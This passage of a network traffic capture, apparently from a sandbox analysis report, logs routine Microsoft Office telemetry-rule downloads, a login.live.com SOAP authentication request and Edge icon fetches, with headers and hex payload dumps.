2024-10-30 22:11:42 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:42 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221142Z-16849878b78zqkvcwgr6h55x9n000000083000000000guw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:42 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:42 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:42 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: ea4f12d2-001e-0066-30b1-2a561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221142Z-159b85dff8fhxqdbhC1DFW5pzn00000000zg000000004a5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:42 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:42 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:42 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 92eac08a-601e-0001-29b2-26faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221142Z-16849878b787wpl5wqkt5731b400000009bg00000000kcs6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:42 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:42 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:42 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 10294bf0-701e-0021-254d-273d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221142Z-17c5cb586f6gkqkwd0x1ge8t0400000009e0000000001wsx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:42 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49911	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:42 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-30 22:11:42 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-30 22:11:43 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 30 Oct 2024 22:10:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.3 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: f3f3f3f7-b928-425b-8637-cf449665ce22 PPServer: PPV: 30 H: PH1PEPF0001B803 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 22:11:42 GMT Connection: close Content-Length: 11392
2024-10-30 22:11:43 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:43 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:43 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e1cf8e51-d01e-00a1-6880-2935b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221143Z-17c5cb586f659tsm88uwcmn6s4000000016g000000003fyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49917	13.107.246.57	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:43 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:43 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:43 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 09d13693-701e-004a-29dd-2a5860000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T221143Z-15b8d89586fpccrmgpemqdqe5800000003h0000000008p5h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-30 22:11:43 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49918	13.107.246.57	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:43 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 22:11:43 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:43 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 1897c46b-001e-0067-70dc-2adba0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T221143Z-15b8d89586fdmfsg1u7xrpfws00000000cx00000000091du Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-30 22:11:43 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:43 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:43 UTC	517	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 548bc1da-901e-0067-71ad-29b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221143Z-159b85dff8fbbwhzhC1DFWwpe80000000100000000008xhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:43 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:43 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: a1e8ab16-701e-0050-601c-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221143Z-16849878b78p8hrf1se7fucxk800000009mg000000000ndr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:43 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:43 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:43 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221143Z-16849878b78xblwksrnkakc08w00000007v000000000qphg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
